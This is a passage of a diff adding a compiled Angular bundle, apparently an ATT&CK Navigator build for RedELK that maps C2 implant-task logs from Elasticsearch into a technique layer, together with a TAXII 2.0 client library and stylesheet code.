"body": { + "aggs": { + "2": { + "terms": { + "field": "threat.technique.id", + "order": { + "_count": "desc" + }, + "size": 300 + }, + "aggs": { + "3": { + "terms": { + "field": "host.name", + "order": { + "_count": "desc" + }, + "size": 298 + } + } + } + } + }, + "size": 0, + "stored_fields": ["*"], + "script_fields": {}, + "docvalue_fields": [{ + "field": "@timestamp", + "format": "date_time" + }], + "_source": { + "excludes": [] + }, + "query": { + "bool": { + "must": [], + "filter": [ + { + "match_all": {} + }, + { + "match_phrase": { + "c2.log.type": "implant_task" + } + }, + { + "match_all": {} + } + ], + "should": [], + "must_not": [] + } + } + }, + "rest_total_hits_as_int": true, + "ignore_unavailable": true, + "ignore_throttled": true, + "timeout": "30000ms" + }, + "serverStrategy": "es" + }; + this.http.post('/internal/search/es', search_query, { + headers: { + 'Content-Type': 'application/json', + 'kbn-xsrf': 'true' + }, + withCredentials: true + }).subscribe(function (res) { + var layer = { + "name": "RedELK", + "version": "3.0", + "domain": "mitre-enterprise", + "description": "TTPs taken from RedELK", + "filters": { + "stages": [ + "act" + ], + "platforms": [ + "Windows", + "Linux", + "macOS" + ] + }, + "sorting": 0, + "layout": { + "layout": "side", + "showID": false, + "showName": true + }, + "hideDisabled": false, + "gradient": { + "colors": [ + "#ff6666", + "#ffe766", + "#8ec843" + ], + "minValue": 0, + "maxValue": 100 + }, + "legendItems": [], + "metadata": [], + "showTacticRowBackground": false, + "tacticRowBackground": "#dddddd", + "selectTechniquesAcrossTactics": true, + "selectSubtechniquesWithParent": false + }; + layer['techniques'] = []; + var es_techniques = res['rawResponse']['aggregations']['2'].buckets; + es_techniques.forEach(function (es_technique) { + var technique = { + techniqueID: es_technique.key, + // tactic: "initial-access", + color: "#3182bd", + comment: "", + enabled: true, + metadata: [], + showSubtechniques: false + }; + layer['techniques'].push(technique); + var viewModel = _this.viewModelsService.newViewModel("loading layer..."); + try { + viewModel.deSerialize(layer); + console.log("loaded layer from RedELK"); + _this.openTab("new layer", _this.layerTab, viewModel, true, true, true, true); + } + catch (err) { + console.error(err); + alert("ERROR parsing layer from RedELK, check the javascript console for more information."); + _this.viewModelsService.destroyViewModel(viewModel); + } + }); + }, function (err) { + console.error(err); + }); + }; + TabsComponent.ctorParameters = function () { return [ + { type: _angular_core__WEBPACK_IMPORTED_MODULE_0__["ComponentFactoryResolver"] }, + { type: _viewmodels_service__WEBPACK_IMPORTED_MODULE_5__["ViewModelsService"] }, + { type: _data_service__WEBPACK_IMPORTED_MODULE_3__["DataService"] }, + { type: _angular_common_http__WEBPACK_IMPORTED_MODULE_6__["HttpClient"] }, + { type: _config_service__WEBPACK_IMPORTED_MODULE_4__["ConfigService"] } + ]; }; + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["ViewChild"])('blankTab', { static: false }), + __metadata("design:type", Object) + ], TabsComponent.prototype, "blankTab", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["ViewChild"])('layerTab', { static: false }), + __metadata("design:type", Object) + ], TabsComponent.prototype, "layerTab", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["ViewChild"])('helpTab', { static: true }), + __metadata("design:type", Object) + ], TabsComponent.prototype, "helpTab", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["ViewChild"])('exporterTab', { static: false }), + __metadata("design:type", Object) + ], TabsComponent.prototype, "exporterTab", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["ViewChild"])(_dynamic_tabs_directive__WEBPACK_IMPORTED_MODULE_1__["DynamicTabsDirective"], { static: false }), + __metadata("design:type", _dynamic_tabs_directive__WEBPACK_IMPORTED_MODULE_1__["DynamicTabsDirective"]) + ], TabsComponent.prototype, "dynamicTabPlaceholder", void 0); + TabsComponent = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Component"])({ + selector: 'tabs', + template: __webpack_require__(/*! raw-loader!./tabs.component.html */ "./node_modules/raw-loader/index.js!./src/app/tabs/tabs.component.html"), + providers: [_viewmodels_service__WEBPACK_IMPORTED_MODULE_5__["ViewModelsService"]], + styles: [__webpack_require__(/*! ./tabs.component.scss */ "./src/app/tabs/tabs.component.scss")] + }), + __metadata("design:paramtypes", [_angular_core__WEBPACK_IMPORTED_MODULE_0__["ComponentFactoryResolver"], _viewmodels_service__WEBPACK_IMPORTED_MODULE_5__["ViewModelsService"], _data_service__WEBPACK_IMPORTED_MODULE_3__["DataService"], _angular_common_http__WEBPACK_IMPORTED_MODULE_6__["HttpClient"], _config_service__WEBPACK_IMPORTED_MODULE_4__["ConfigService"]]) + ], TabsComponent); + return TabsComponent; +}()); + + + +/***/ }), + +/***/ "./src/app/taxii2lib.ts": +/*!******************************!*\ + !*** ./src/app/taxii2lib.ts ***! + \******************************/ +/*! exports provided: TaxiiConnect, Server, Collections, Collection, Status */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "TaxiiConnect", function() { return TaxiiConnect; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Server", function() { return Server; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Collections", function() { return Collections; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Collection", function() { return Collection; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Status", function() { return Status; }); +/** + * @file + * A TAXII 2.0 Javascript client library. Converted to Typescript by Isabel Tuson 24 May 2018 + * + * @see https://oasis-open.github.io/cti-documentation/ + * + * @author R. Wathelet, September 2017, modified by I Tuson 24 May 2018 + * @version 0.2 + */ +var __awaiter = (undefined && undefined.__awaiter) || function (thisArg, _arguments, P, generator) { + return new (P || (P = Promise))(function (resolve, reject) { + function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } + function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } + function step(result) { result.done ? resolve(result.value) : new P(function (resolve) { resolve(result.value); }).then(fulfilled, rejected); } + step((generator = generator.apply(thisArg, _arguments || [])).next()); + }); +}; +var __generator = (undefined && undefined.__generator) || function (thisArg, body) { + var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; + return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; + function verb(n) { return function (v) { return step([n, v]); }; } + function step(op) { + if (f) throw new TypeError("Generator is already executing."); + while (_) try { + if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; + if (y = 0, t) op = [op[0] & 2, t.value]; + switch (op[0]) { + case 0: case 1: t = op; break; + case 4: _.label++; return { value: op[1], done: false }; + case 5: _.label++; y = op[1]; op = [0]; continue; + case 7: op = _.ops.pop(); _.trys.pop(); continue; + default: + if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } + if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } + if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } + if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } + if (t[2]) _.ops.pop(); + _.trys.pop(); continue; + } + op = body.call(thisArg, _); + } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } + if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; + } +}; +/** + * Provide asynchronous network communications to a TAXII 2.0 server. + * + */ +var TaxiiConnect = /** @class */ (function () { + /** + * provide network communication to a Taxii 2.0 server. + * @param {String} url - the base url of the Taxii2 server, for example https://example.com/ + * @param {String} user - the user name required for authentication. + * @param {String} password - the user password required for authentication. + * @param {Integer} timeout - the connection timeout in millisec + */ + function TaxiiConnect(url, user, password, timeout) { + this.baseURL = TaxiiConnect.withoutLastSlash(url); + this.user = user; + this.password = password; + this.hash = btoa(this.user + ":" + this.password); + this.timeout = timeout ? timeout : 10000; // default timeout + this.version = '2.0'; + // default headers configurations + this.getConfig = { + 'method': 'get', + 'headers': new Headers({ + 'Accept': 'application/vnd.oasis.taxii+json', + 'version': this.version, + 'Authorization': 'Basic ' + this.hash + }) + }; + this.postConfig = { + 'method': 'post', + 'headers': new Headers({ + 'Accept': 'application/vnd.oasis.taxii+json', + 'Content-Type': 'application/vnd.oasis.stix+json', + 'version': this.version, + 'Authorization': 'Basic ' + this.hash + }) + }; + this.getStixConfig = { + 'method': 'get', + 'headers': new Headers({ + 'Accept': 'application/vnd.oasis.stix+json', + 'version': this.version, + 'Authorization': 'Basic ' + this.hash + }) + }; + } + // original code from: https://github.com/jkomyno/fetch-timeout + TaxiiConnect.prototype.timeoutPromise = function (promise, timeout, error) { + return new Promise(function (resolve, reject) { + setTimeout(function () { return reject(error); }, timeout); + promise.then(resolve, reject); + }); + }; + // original code from: https://github.com/jkomyno/fetch-timeout + TaxiiConnect.prototype.fetchTimeout = function (url, options, timeout, error) { + error = error || 'Timeout error'; + options = options || {}; + timeout = timeout || 10000; + return this.timeoutPromise(fetch(url, options), timeout, error); + }; + /** + * send an async request (GET or POST) to the taxii2 server. + * + * @param {String} path - the full path to connect to. + * @param {Object} config - the request configuration, see getConfig and postConfig for examples + * @param {Object} filter - the filter object describing the filtering requested, this is added to the path as a query string + * @returns {Promise} the server response in json. + */ + TaxiiConnect.prototype.asyncFetch = function (path, config, filter) { + return __awaiter(this, void 0, void 0, function () { + var fullPath; + return __generator(this, function (_a) { + switch (_a.label) { + case 0: + fullPath = (filter === undefined) ? path : path + "?" + TaxiiConnect.asQueryString(filter); + return [4 /*yield*/, (this.fetchTimeout(fullPath, config, this.timeout, 'connection timeout') + .then(function (res) { return res.json(); }) + .catch(function (err) { throw new Error("fetch error: " + err); }))]; + case 1: return [4 /*yield*/, (_a.sent())]; + case 2: return [2 /*return*/, _a.sent()]; + } + }); + }); + }; + /** + * send a GET async request to the taxii2 server. + * + * The server response is assigned to the cache attribute of the options object, and + * the options flag attribute is set to true if a server request was performed. + * Otherwise if the options.flag is initially true, the cached response (options.cache) is returned and + * no server request is performed. + * To force a server request used invalidate(), for example: server.invalidate() + * + * @param {String} path - the path to connect to. + * @param {Object} options - an option object of the form: { "cache": {}, "flag": false } + * @param {Object} filter - the filter object describing the filtering requested, this is added to the path as a query string + * @param {Object} config - the request configuration + * @returns {Promise} the server response object + */ + TaxiiConnect.prototype.fetchThis = function (path, options, filter, config) { + return __awaiter(this, void 0, void 0, function () { + var conf, _a; + return __generator(this, function (_b) { + switch (_b.label) { + case 0: + conf = config === undefined ? this.getConfig : config; + if (!!options.flag) return [3 /*break*/, 2]; + _a = options; + return [4 /*yield*/, (this.asyncFetch(path, conf, filter))]; + case 1: + _a.cache = _b.sent(); + options.flag = true; + _b.label = 2; + case 2: return [2 /*return*/, options.cache]; + } + }); + }); + }; + /** + * return the url without the last slash. + * @param {String} url - the URL string to process. + * @returns {String} the url without the last slash. + */ + TaxiiConnect.withoutLastSlash = function (url) { + return (url.substr(-1) === '/') ? url.substr(0, url.length - 1) : url; + }; + /** + * return the url with a terminating slash. + * @param {String} url - the URL string to process. + * @returns {String} the url with a terminating slash. + */ + TaxiiConnect.withLastSlash = function (url) { + return (url.substr(-1) === '/') ? url : url + "/"; + }; + /** + * convert a filter object into a query string. + * @param {Object} filter - the filter object to process. + * @returns {String} the query string corresponding to the filter object. + */ + TaxiiConnect.asQueryString = function (filter) { + return Object.keys(filter).map(function (k) { + var value = (k === "added_after") ? k : "match[" + k + "]"; + return encodeURIComponent(value) + '=' + encodeURIComponent(filter[k]); + }).join('&'); + }; + TaxiiConnect.ctorParameters = function () { return [ + null, + null, + null, + null + ]; }; + return TaxiiConnect; +}()); + +/** + * Server encapsulates a discovery and api roots endpoints. + */ +var Server = /** @class */ (function () { + /** + * A TAXII Server endpoint representation. + * @param {String} path - the path to the server discovery endpoint, for example "/taxii/" + * @param {TaxiiConnect} conn - a TaxiiConnection instance providing network communications. + */ + function Server(path, conn) { + this.path = TaxiiConnect.withLastSlash(path); + this.conn = conn; + // cache represents the cached results and flag determines if it needs a re-fetch + this.disOptions = { "cache": {}, "flag": false }; + this.apiOptions = { "cache": [], "flag": false }; + } + /** + * determine if the obj is empty, {} + * @param {Object} obj - the object to test + * @returns {Boolean} - true if empty else false + */ + Server.isEmpty = function (obj) { + return Object.keys(obj).length === 0 && obj.constructor === Object; + }; + /** + * reset the internal options flags so that the next method call of this class will + * send a request to the server rather than retreive the results from cache. + */ + Server.prototype.invalidate = function () { + this.disOptions.flag = false; + this.apiOptions.flag = false; + }; + /** + * retrieve the information about a TAXII Server and the list of API Roots. + * @returns {Promise} the server discovery information object. + */ + Server.prototype.discovery = function () { + return __awaiter(this, void 0, void 0, function () { + return __generator(this, function (_a) { + return [2 /*return*/, this.conn.fetchThis(this.conn.baseURL + this.path, this.disOptions)]; + }); + }); + }; + /** + * retrieve the api roots information objects. + * Note: unreachable roots are not part of the results. + * + * API Roots are logical groupings of TAXII Channels, Collections, and related functionality. + * Each API Root contains a set of Endpoints that a TAXII Client contacts in order to interact with the TAXII Server. + * This returns the api roots information objects from the string urls. + * @returns {Promise} the Array of api roots information objects + */ + Server.prototype.api_roots = function () { + return __awaiter(this, void 0, void 0, function () { + var _this = this; + return __generator(this, function (_a) { + return [2 /*return*/, this.discovery().then(function (discovery) { return _this._getApiRoots(discovery); })]; + }); + }); + }; + /** + * retrieve a map of key=the api root url and value=the api root object. + * + * API Roots are logical groupings of TAXII Channels, Collections, and related functionality. + * Each API Root contains a set of Endpoints that a TAXII Client contacts in order to interact with the TAXII Server. + * @returns {Promise} a Map of key=the url and value=the api root object. + */ + Server.prototype.api_rootsMap = function () { + return __awaiter(this, void 0, void 0, function () { + var apiRootMap; + var _this = this; + return __generator(this, function (_a) { + switch (_a.label) { + case 0: + apiRootMap = new Map(); + return [4 /*yield*/, this.discovery().then(function (discovery) { return _this._getApiRoots(discovery, apiRootMap); })]; + case 1: + _a.sent(); + return [2 /*return*/, apiRootMap]; + } + }); + }); + }; + /** + * private function to retrieve the api roots + * @param {discovery} discovery - a discovery object + * @param {Map} apiRootMap - a map of key=url, value=api root object + * @returns {Promise} the Array of api roots information objects + */ + Server.prototype._getApiRoots = function (discovery, apiRootMap) { + return __awaiter(this, void 0, void 0, function () { + var _this = this; + return __generator(this, function (_a) { + switch (_a.label) { + case 0: + if (!!this.apiOptions.flag) return [3 /*break*/, 2]; + // clear the cache + this.apiOptions.cache = []; + // fetch all the api_roots in parallel + return [4 /*yield*/, Promise.all(discovery.api_roots.map(function (url) { return __awaiter(_this, void 0, void 0, function () { + var apiroot; + return __generator(this, function (_a) { + switch (_a.label) { + case 0: return [4 /*yield*/, this.conn.asyncFetch(url, this.conn.getConfig)]; + case 1: + apiroot = _a.sent(); + // add to the map + if (apiRootMap !== undefined) { + apiRootMap.set(url, apiroot); + } + // add to the array of results + this.apiOptions.cache.push(apiroot); + return [2 /*return*/]; + } + }); + }); }))]; + case 1: + // fetch all the api_roots in parallel + _a.sent(); + // remove the undefined and empty elements, that is those we could not connect to. + this.apiOptions.cache = this.apiOptions.cache.filter(function (element) { return (element !== undefined && !Server.isEmpty(element)); }); + this.apiOptions.flag = true; + _a.label = 2; + case 2: return [2 /*return*/, this.apiOptions.cache]; + } + }); + }); + }; + Server.ctorParameters = function () { return [ + null, + null + ]; }; + return Server; +}()); + +/** + * Collections resource endpoint. + * A TAXII Collections is an interface to a logical repository of CTI objects + * provided by a TAXII Server and is used by TAXII Clients to send information + * to the TAXII Server or request information from the TAXII Server. + * A TAXII Server can host multiple Collections per API Root, and Collections + * are used to exchange information in a request–response manner. + */ +var Collections = /** @class */ (function () { + // hash: string; + /** + * A TAXII Collections for a specific api root path. + * The collections resource is a simple wrapper around a list of collection resources. + * @param {String} api_root_path - the full path to the desired api root endpoint + * @param {TaxiiConnection} conn a TaxiiConnection class instance. + */ + function Collections(api_root_path, conn) { + this.api_root_path = TaxiiConnect.withLastSlash(api_root_path); + this.conn = conn; + // cache represents the cached results and flag determines if it needs a re-fetch + this.options = { "cache": {}, "flag": false }; + } + /** + * reset the internal options flags so that the next method call of this class will + * send a request to the server rather than retreive the results from cache. + */ + Collections.prototype.invalidate = function () { + this.options.flag = false; + }; + /** + * provide information about a specific Collection hosted under this API Root. + * + * @param {Integer} index - the index of the desired collection object. + * @returns {Object} a specific collection object. + */ + Collections.prototype.get = function (index) { + return __awaiter(this, void 0, void 0, function () { + var _this = this; + return __generator(this, function (_a) { + if (Number.isInteger(index) && index >= 0) { + // return a specific collection info + if (!this.collectionsFlag) { + return [2 /*return*/, this.collections().then(function (cols) { + if (index < _this.options.cache.collections.length) { + return _this.options.cache.collections[index]; + } + else { + console.log("----> in Collections get(index) invalid index value: " + index); + } + })]; + } + else { + if (index < this.options.cache.collections.length) { + return [2 /*return*/, this.options.cache.collections[index]]; + } + else { + console.log("----> in Collections get(index) invalid index value: " + index); + } + } + } + else { + console.log("----> in Collections get(index) invalid index value: " + index); + } + return [2 /*return*/]; + }); + }); + }; + /** + * provide information about the Collections hosted under this API Root. + * + * @param {String} range - a pagination range string, for example "0-10" + * @returns {Array} an array of collection objects + */ + Collections.prototype.collections = function (range) { + return __awaiter(this, void 0, void 0, function () { + var theConfig; + return __generator(this, function (_a) { + switch (_a.label) { + case 0: + theConfig = this.conn.getConfig; + if (range !== undefined) { + theConfig = { + 'method': 'get', + 'headers': new Headers({ + 'Accept': 'application/vnd.oasis.taxii+json', + 'version': this.conn.version, + 'Authorization': 'Basic ' + this.conn.hash, + 'Range': 'items=' + range + }) + }; + } + // return a list of collection info + return [4 /*yield*/, this.conn.fetchThis(this.api_root_path + "collections/", this.options, "", theConfig)]; + case 1: + // return a list of collection info + _a.sent(); + return [2 /*return*/, this.options.cache.collections]; + } + }); + }); + }; + Collections.ctorParameters = function () { return [ + null, + null + ]; }; + return Collections; +}()); + +/** + * A Collection resource endpoint. + */ +var Collection = /** @class */ (function () { + /** + * Collection resource endpoint. + * @param {CollectionInfoObject} collectionInfo - the collection object of this endpoint. + * @param {String} api_root_path - the full path to the desired api root endpoint. + * @param {TaxiiConnection} conn - a TaxiiConnection class instance. + */ + function Collection(collectionInfo, api_root_path, conn) { + this.collectionInfo = collectionInfo; + this.api_root_path = TaxiiConnect.withLastSlash(api_root_path); + this.conn = conn; + // construct the path + this.path = this.api_root_path + "collections/" + collectionInfo.id + "/"; + // cache represents the cached results and flag determines if it needs a re-fetch + this.colOptions = { "cache": {}, "flag": false }; + this.objsOptions = { "cache": {}, "flag": false }; + this.objOptions = { "cache": {}, "flag": false }; + this.manOptions = { "cache": {}, "flag": false }; + } + /** + * reset the internal options flags so that the next method call of this class will + * send a request to the server rather than retreive the results from cache. + */ + Collection.prototype.invalidate = function () { + this.colOptions.flag = false; + this.objsOptions.flag = false; + this.objOptions.flag = false; + this.manOptions.flag = false; + }; + /** + * check that the collection allows reading, if true then return the function passed in + * else log an error + * @param {Function} func - the function to return if the collection allows reading it + * @returns {Function} the function if this collection allow reading else undefined + */ + Collection.prototype.ifCanRead = function (func) { + if (this.collectionInfo.can_read) { + return func; + } + else { + console.log("this collection does not allow reading: \n" + JSON.stringify(this.collectionInfo)); + } + }; + /** + * check that the collection allows writing, if true then return the function passed in else log an error + * @param {Function} func - the function to return if the collection allows writing it + * @returns {Function} the function if this collection allow writing else undefined + */ + Collection.prototype.ifCanWrite = function (func) { + if (this.collectionInfo.can_write) { + return func; + } + else { + console.log("this collection does not allow writing: \n" + JSON.stringify(this.collectionInfo)); + } + }; + /** + * retrieve this Collection object. + * @returns {Promise} the Collection object + */ + Collection.prototype.get = function () { + return __awaiter(this, void 0, void 0, function () { + return __generator(this, function (_a) { + return [2 /*return*/, this.ifCanRead(this.conn.fetchThis(this.path, this.colOptions))]; + }); + }); + }; + /** + * retrieve a STIX-2 bundle from this Collection. + * + * @param {Object} filter - the filter object describing the filtering requested, this is added to the path as a query string. + * For example: {"added_after": "2016-02-01T00:00:01.000Z"} + * {"type": ["incident","ttp","actor"]} + * @param {String} range - a pagination range string, for example "0-10" + * @returns {Promise} the Bundle with the STIX-2 objects of this collection + */ + Collection.prototype.getObjects = function (filter, range) { + return __awaiter(this, void 0, void 0, function () { + var theConfig; + return __generator(this, function (_a) { + theConfig = this.conn.getStixConfig; + if (range !== undefined) { + theConfig = { + 'method': 'get', + 'headers': new Headers({ + 'Accept': 'application/vnd.oasis.stix+json', + 'version': this.conn.version, + 'Authorization': 'Basic ' + this.conn.hash, + 'Range': 'items=' + range + }) + }; + } + return [2 /*return*/, this.ifCanRead(this.conn.fetchThis(this.path + "objects/", this.objsOptions, filter, theConfig))]; + }); + }); + }; + /** + * retrieve a specific STIX-2 object from this collection objects bundle. + * + * @param {String} obj_id - the STIX-2 object id to retrieve + * @param {Object} filter - the filter object describing the filtering requested, this is added to the path as a query string. + * For example: {"version": "2016-01-01T01:01:01.000Z"} + */ + Collection.prototype.getObject = function (obj_id, filter) { + return __awaiter(this, void 0, void 0, function () { + return __generator(this, function (_a) { + switch (_a.label) { + case 0: return [4 /*yield*/, (this.ifCanRead(this.conn.fetchThis(this.path + "objects/" + obj_id + "/", this.objOptions, filter, this.conn.getStixConfig) + .then(function (bundle) { return bundle.objects.find(function (obj) { return obj.id === obj_id; }); })))]; + case 1: return [4 /*yield*/, (_a.sent())]; + case 2: return [2 /*return*/, _a.sent()]; + } + }); + }); + }; + /** + * add a STIX-2 bundle object to this Collection objects. + * @param {Bundle} bundle - the STIX-2 bundle object to add + * @return {Status} a status object + */ + Collection.prototype.addObject = function (bundle) { + return __awaiter(this, void 0, void 0, function () { + return __generator(this, function (_a) { + return [2 /*return*/, this.ifCanWrite(this.conn.asyncFetch(this.path + "objects/", this.conn.postConfig))]; + }); + }); + }; + /** + * retrieve all manifests about objects from this Collection. + * Manifests are metadata about the objects. + * + * @param {Object} filter - the filter object describing the filtering requested, this is added to the path as a query string. + * @param {String} range - a pagination range string, for example "0-10" + * @return {Array} an array of manifest entries object + */ + Collection.prototype.getManifests = function (filter, range) { + return __awaiter(this, void 0, void 0, function () { + var theConfig, _a; + return __generator(this, function (_b) { + switch (_b.label) { + case 0: + theConfig = this.conn.getConfig; + if (range !== undefined) { + theConfig = { + 'method': 'get', + 'headers': new Headers({ + 'Accept': 'application/vnd.oasis.taxii+json', + 'version': this.conn.version, + 'Authorization': 'Basic ' + this.conn.hash, + 'Range': 'items=' + range + }) + }; + } + _a = this.ifCanRead; + return [4 /*yield*/, this.conn.fetchThis(this.path + "manifest/", this.manOptions, filter, theConfig)]; + case 1: + _a.apply(this, [_b.sent()]); + return [2 /*return*/, this.manOptions.cache.objects]; + } + }); + }); + }; + /** + * retrieve the manifest about a specific object (obj_id) from this Collection. + * Manifests are metadata about the objects. + * + * @param {String} obj_id - the STIX-2 object id of the manifest to retrieve. + * @param {Object} filter - the filter object describing the filtering requested, this is added to the path as a query string. + * @return {Object} a manifest entry of the desired STIX-2 object. + */ + Collection.prototype.getManifest = function (obj_id, filter) { + return __awaiter(this, void 0, void 0, function () { + return __generator(this, function (_a) { + switch (_a.label) { + case 0: return [4 /*yield*/, (this.getManifests(filter).then(function (objects) { return objects.find(function (obj) { return obj.id === obj_id; }); }))]; + case 1: return [2 /*return*/, _a.sent()]; + } + }); + }); + }; + Collection.ctorParameters = function () { return [ + null, + null, + null + ]; }; + return Collection; +}()); + +/** + * This Endpoint provides information about the status of a previous request. + * In TAXII 2.0, the only request that can be monitored is one to add objects to a Collection. + */ +var Status = /** @class */ (function () { + /** + * provide information about the status of a previous request. + * @param {String} api_root_path - the full path to the desired api root + * @param {String} status_id - the identifier of the status message being requested, for STIX objects, their id. + * @param {TaxiiConnection} conn - a TaxiiConnection class instance. + */ + function Status(api_root_path, status_id, conn) { + this.api_root_path = TaxiiConnect.withLastSlash(api_root_path); + this.status_id = status_id; + this.conn = conn; + this.path = this.api_root_path + "status/" + status_id + "/"; + } + /** + * retrieve the Status information about a request to add objects to a Collection. + * @return {Promise} the status object + */ + Status.prototype.get = function () { + return __awaiter(this, void 0, void 0, function () { + return __generator(this, function (_a) { + return [2 /*return*/, this.conn.asyncFetch(this.path, this.conn.getConfig)]; + }); + }); + }; + Status.ctorParameters = function () { return [ + null, + null, + null + ]; }; + return Status; +}()); + + + +/***/ }), + +/***/ "./src/app/techniques-search/techniques-search.component.scss": +/*!********************************************************************!*\ + !*** ./src/app/techniques-search/techniques-search.component.scss ***! + \********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "/**\n * Colors used across the Navigator. Shared by the ATT&CK Website.\n * For each color-pair:\n * - \"color\" refers to the color itself\n * - \"on-color\" refers to the most readable text-color to appear on top of the color. \n * Note: some colors don't define on-colors. This is because, for these colors, they aren't intended to\n * appear with inner content. For example, \"link\" is only intended to be used for link text, which inherently\n * cannot have inner text.\n */\n.techniques-search .query {\n padding: 0 10px;\n}\n.techniques-search .fields {\n padding: 0 10px;\n text-align: left;\n}\n.techniques-search .fields .field {\n display: inline-block;\n}\n.techniques-search h1 {\n font-size: 14px;\n background: #f1f1f1;\n padding: 5px;\n margin: 0;\n text-align: center;\n}\n.techniques-search .allresults-buttons button {\n width: 48.5%;\n}\n.techniques-search .results {\n max-height: 150px;\n overflow-y: auto;\n}\n.techniques-search .results table {\n border-collapse: collapse;\n width: 100%;\n}\n.techniques-search .results table tr + tr {\n border-top: 1px solid #f1f1f1;\n}\n.techniques-search .results table tr:hover {\n background: #60c5ff;\n}\n.techniques-search .results table td {\n width: 100px;\n text-align: left;\n}\n.techniques-search .results table td + td {\n width: 1px;\n}\n.techniques-search .results .no-results {\n padding: 5px;\n text-align: center;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3JjL2FwcC90ZWNobmlxdWVzLXNlYXJjaC90ZWNobmlxdWVzLXNlYXJjaC5jb21wb25lbnQuc2NzcyIsIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3RkaW4iLCJzcmMvYXBwL3RlY2huaXF1ZXMtc2VhcmNoL3RlY2huaXF1ZXMtc2VhcmNoLmNvbXBvbmVudC5zY3NzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWVBOzs7Ozs7OztFQUFBO0FDWkk7RUFDSSxlQUFBO0FDT1I7QURMSTtFQUNJLGVBQUE7RUFDQSxnQkFBQTtBQ09SO0FETlE7RUFDSSxxQkFBQTtBQ1FaO0FETEk7RUFDSSxlQUFBO0VBQ0EsbUJEVk07RUNXTixZQUFBO0VBQ0EsU0FBQTtFQUNBLGtCQUFBO0FDT1I7QURKUTtFQUNJLFlBQUE7QUNNWjtBREhJO0VBQ0ksaUJBQUE7RUFDQSxnQkFBQTtBQ0tSO0FESlE7RUFDSSx5QkFBQTtFQUNBLFdBQUE7QUNNWjtBRExZO0VBQ0ksNkJBQUE7QUNPaEI7QURMWTtFQUNJLG1CRGpDTztBRXdDdkI7QURMWTtFQUNJLFlBQUE7RUFDQSxnQkFBQTtBQ09oQjtBRE5nQjtFQUNJLFVBQUE7QUNRcEI7QURKUTtFQUNJLFlBQUE7RUFDQSxrQkFBQTtBQ01aIiwiZmlsZSI6InNyYy9hcHAvdGVjaG5pcXVlcy1zZWFyY2gvdGVjaG5pcXVlcy1zZWFyY2guY29tcG9uZW50LnNjc3MiLCJzb3VyY2VzQ29udGVudCI6WyIkY29sdW1uLWhvdmVyLWNvbG9yOiByZ2IoMjM1LCAyMzUsIDIzNSk7XG4kZGlzYWJsZWQtY29sb3I6IGRhcmtlbigkY29sdW1uLWhvdmVyLWNvbG9yLCAyMCUpO1xuJGNlbGwtaGlnaGxpZ2h0LWNvbG9yOiByZ2IoOTYsIDE5NywgMjU1KTtcbiRob3Zlci1jZWxsLWZvbnQtY29sb3I6IHJnYigwLCAwLCAwKTtcbiRwYW5lbC1kYXJrOiAjZGRkO1xuJHBhbmVsLWxpZ2h0OiBsaWdodGVuKCRwYW5lbC1kYXJrLCA4JSk7XG4kdGFiLXRleHQtY29sb3I6ICM1NTU7XG4kYnV0dG9uLWRhcms6ICNiOGI4Yjg7XG5cbi8vIEFUVCZDSyBCcmFuZCBjb2xvcnNcbiRhdHRhY2stY29sb3JzOiAoXG4gICAgYXR0YWNrLW9yYW5nZTogI2M2M2YxZixcbiAgICBhdHRhY2stYmx1ZTogIzA2MmY0ZlxuKTtcblxuLyoqXG4gKiBDb2xvcnMgdXNlZCBhY3Jvc3MgdGhlIE5hdmlnYXRvci4gU2hhcmVkIGJ5IHRoZSBBVFQmQ0sgV2Vic2l0ZS5cbiAqIEZvciBlYWNoIGNvbG9yLXBhaXI6XG4gKiAgIC0gXCJjb2xvclwiIHJlZmVycyB0byB0aGUgY29sb3IgaXRzZWxmXG4gKiAgIC0gXCJvbi1jb2xvclwiIHJlZmVycyB0byB0aGUgbW9zdCByZWFkYWJsZSB0ZXh0LWNvbG9yIHRvIGFwcGVhciBvbiB0b3Agb2YgdGhlIGNvbG9yLiBcbiAqIE5vdGU6IHNvbWUgY29sb3JzIGRvbid0IGRlZmluZSBvbi1jb2xvcnMuIFRoaXMgaXMgYmVjYXVzZSwgZm9yIHRoZXNlIGNvbG9yc